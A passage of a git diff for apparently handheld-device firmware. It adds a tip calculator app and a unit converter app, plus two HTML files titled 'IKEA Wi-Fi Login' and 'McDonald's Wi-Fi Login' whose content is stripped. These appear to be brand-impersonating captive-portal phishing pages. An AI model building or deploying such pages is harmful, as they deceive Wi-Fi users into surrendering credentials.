display.drawString("Tip: " + tipAmount.toFixed(2) + " " + curr, 5, 62); + display.drawString("Total: " + total.toFixed(2) + " " + curr, 5, 77); + + // Per person - BIG and dynamic width + display.setTextColor(GREEN); + display.setTextSize(2); + var perPersonStr = perPerson.toFixed(2) + " " + curr; + var perPersonWidth = perPersonStr.length * 12; + + // Calculate positions to fit + var startX = 5; + var labelX = startX + perPersonWidth + 5; + + // If too wide, show on two lines + if (labelX + 50 > screenWidth) { + display.drawString(perPersonStr, 5, 95); + display.setTextSize(1); + display.drawString("/person", 5, 115); + } else { + display.drawString(perPersonStr, startX, 100); + display.setTextSize(1); + display.setTextColor(WHITE); + display.drawString("/person", labelX, 108); + } + + // Controls + display.setTextColor(GRAY); + display.setTextSize(1); + display.drawString("SEL:Next PREV/NEXT:Adj", 5, screenHeight - 10); +} + +drawScreen(); + +while (!shouldExit) { + if (keyboard.getSelPress()) { + editField = (editField + 1) % 4; + drawScreen(); + } + if (keyboard.getPrevPress()) { + if (editField === 0) billAmount = Math.max(1, billAmount - 5); + else if (editField === 1) tipPercent = Math.max(0, tipPercent - 5); + else if (editField === 2) splitCount = Math.max(1, splitCount - 1); + else + currencyIndex = + (currencyIndex - 1 + currencies.length) % currencies.length; + drawScreen(); + } + if (keyboard.getNextPress()) { + if (editField === 0) billAmount = Math.min(99999, billAmount + 5); + else if (editField === 1) tipPercent = Math.min(100, tipPercent + 5); + else if (editField === 2) splitCount = Math.min(50, splitCount + 1); + else currencyIndex = (currencyIndex + 1) % currencies.length; + drawScreen(); + } + if (keyboard.getEscPress()) { + shouldExit = true; + } + + delay(80); +} diff --git a/sd_files/interpreter/unit_converter.js b/sd_files/interpreter/unit_converter.js new file mode 100644 index 0000000000..1517b25d47 --- /dev/null +++ b/sd_files/interpreter/unit_converter.js @@ -0,0 +1,196 @@ +var display = require("display"); +var keyboard = require("keyboard"); + +// Unit Converter - Clean design, more units +var screenWidth = display.width(); +var screenHeight = display.height(); + +var BG = display.color(15, 20, 30); +var WHITE = display.color(255, 255, 255); +var CYAN = display.color(0, 220, 255); +var ORANGE = display.color(255, 165, 0); +var GRAY = display.color(100, 100, 100); +var GREEN = display.color(100, 255, 100); + +var categories = ["Length", "Weight", "Temp", "Volume", "Speed", "Data"]; +var catIndex = 0; + +var allUnits = { + Length: ["m", "km", "cm", "mm", "ft", "in", "mi", "yd"], + Weight: ["kg", "g", "mg", "lb", "oz", "ton"], + Temp: ["°C", "°F", "K"], + Volume: ["L", "mL", "gal", "qt", "pt", "cup", "fl oz"], + Speed: ["m/s", "km/h", "mph", "kn"], + Data: ["B", "KB", "MB", "GB", "TB"], +}; + +// Conversion factors to base unit +var convFactors = { + Length: { + m: 1, + km: 1000, + cm: 0.01, + mm: 0.001, + ft: 0.3048, + in: 0.0254, + mi: 1609.34, + yd: 0.9144, + }, + Weight: { + kg: 1, + g: 0.001, + mg: 0.000001, + lb: 0.453592, + oz: 0.0283495, + ton: 1000, + }, + Volume: { + L: 1, + mL: 0.001, + gal: 3.78541, + qt: 0.946353, + pt: 0.473176, + cup: 0.24, + "fl oz": 0.0295735, + }, + Speed: { "m/s": 1, "km/h": 0.277778, mph: 0.44704, kn: 0.514444 }, + Data: { B: 1, KB: 1024, MB: 1048576, GB: 1073741824, TB: 1099511627776 }, +}; + +var fromIndex = 0; +var toIndex = 1; +var value = 1; +var editField = 0; // 0=value, 1=from, 2=to, 3=category +var shouldExit = false; + +function getUnits() { + return allUnits[categories[catIndex]]; +} + +function convert(val, from, to) { + var cat = categories[catIndex]; + var units = getUnits(); + var fromU = units[from]; + var toU = units[to]; + + // Temperature special case + if (cat === "Temp") { + var celsius = val; + if (fromU === "°F") celsius = ((val - 32) * 5) / 9; + else if (fromU === "K") celsius = val - 273.15; + + if (toU === "°F") return (celsius * 9) / 5 + 32; + if (toU === "K") return celsius + 273.15; + return celsius; + } + + // Standard conversion via base unit + var factors = convFactors[cat]; + var base = val * factors[fromU]; + return base / factors[toU]; +} + +function drawScreen() { + display.drawFillRect(0, 0, screenWidth, screenHeight, BG); + var units = getUnits(); + + // Category selector at top + display.setTextColor(editField === 3 ? CYAN : ORANGE); + display.setTextSize(1); + display.drawString( + "< " + categories[catIndex] + " >", + screenWidth / 2 - 30, + 5 + ); + + // FROM section - big box + display.drawFillRect(5, 22, screenWidth - 10, 35, display.color(30, 35, 45)); + display.drawRect(5, 22, screenWidth - 10, 35, editField <= 1 ? CYAN : GRAY); + + display.setTextColor(editField === 0 ? GREEN : WHITE); + display.setTextSize(2); + display.drawString("" + value, 12, 30); + + display.setTextColor(editField === 1 ? CYAN : WHITE); + display.setTextSize(1); + display.drawString(units[fromIndex], screenWidth - 45, 38); + + // Arrow + display.setTextColor(ORANGE); + display.setTextSize(2); + display.drawString("=", screenWidth / 2 - 8, 60); + + // TO section - big box with result + display.drawFillRect(5, 75, screenWidth - 10, 35, display.color(30, 35, 45)); + display.drawRect(5, 75, screenWidth - 10, 35, editField === 2 ? CYAN : GRAY); + + var result = convert(value, fromIndex, toIndex); + // Smart formatting + var resultStr; + if (Math.abs(result) >= 10000 || (Math.abs(result) < 0.01 && result !== 0)) { + resultStr = result.toExponential(2); + } else { + resultStr = "" + Math.round(result * 1000) / 1000; + } + + display.setTextColor(ORANGE); + display.setTextSize(2); + display.drawString(resultStr, 12, 83); + + display.setTextColor(editField === 2 ? CYAN : WHITE); + display.setTextSize(1); + display.drawString(units[toIndex], screenWidth - 45, 91); + + // Controls + display.setTextColor(GRAY); + display.drawString("SEL:Field :Adjust", 5, screenHeight - 10); +} + +drawScreen(); + +while (!shouldExit) { + var units = getUnits(); + + if (keyboard.getSelPress()) { + editField = (editField + 1) % 4; + drawScreen(); + } + + if (keyboard.getPrevPress()) { + if (editField === 0) { + if (value > 100) value -= 100; + else if (value > 10) value -= 10; + else value = Math.max(0, value - 1); + } else if (editField === 1) + fromIndex = (fromIndex - 1 + units.length) % units.length; + else if (editField === 2) + toIndex = (toIndex - 1 + units.length) % units.length; + else { + catIndex = (catIndex - 1 + categories.length) % categories.length; + fromIndex = 0; + toIndex = 1; + } + drawScreen(); + } + + if (keyboard.getNextPress()) { + if (editField === 0) { + if (value >= 100) value += 100; + else if (value >= 10) value += 10; + else value += 1; + } else if (editField === 1) fromIndex = (fromIndex + 1) % units.length; + else if (editField === 2) toIndex = (toIndex + 1) % units.length; + else { + catIndex = (catIndex + 1) % categories.length; + fromIndex = 0; + toIndex = 1; + } + drawScreen(); + } + + if (keyboard.getEscPress()) { + shouldExit = true; + } + + delay(80); +} diff --git a/sd_files/portals/en/ikea.html b/sd_files/portals/en/ikea.html new file mode 100644 index 0000000000..06c259ce56 --- /dev/null +++ b/sd_files/portals/en/ikea.html @@ -0,0 +1,138 @@ + + + + + +IKEA Wi-Fi Login + + + + + + + + diff --git a/sd_files/portals/en/mc_donalds.html b/sd_files/portals/en/mc_donalds.html new file mode 100644 index 0000000000..0783f49267 --- /dev/null +++ b/sd_files/portals/en/mc_donalds.html @@ -0,0 +1,167 @@ + + + + + + McDonald's Wi-Fi Login + + + + + + + +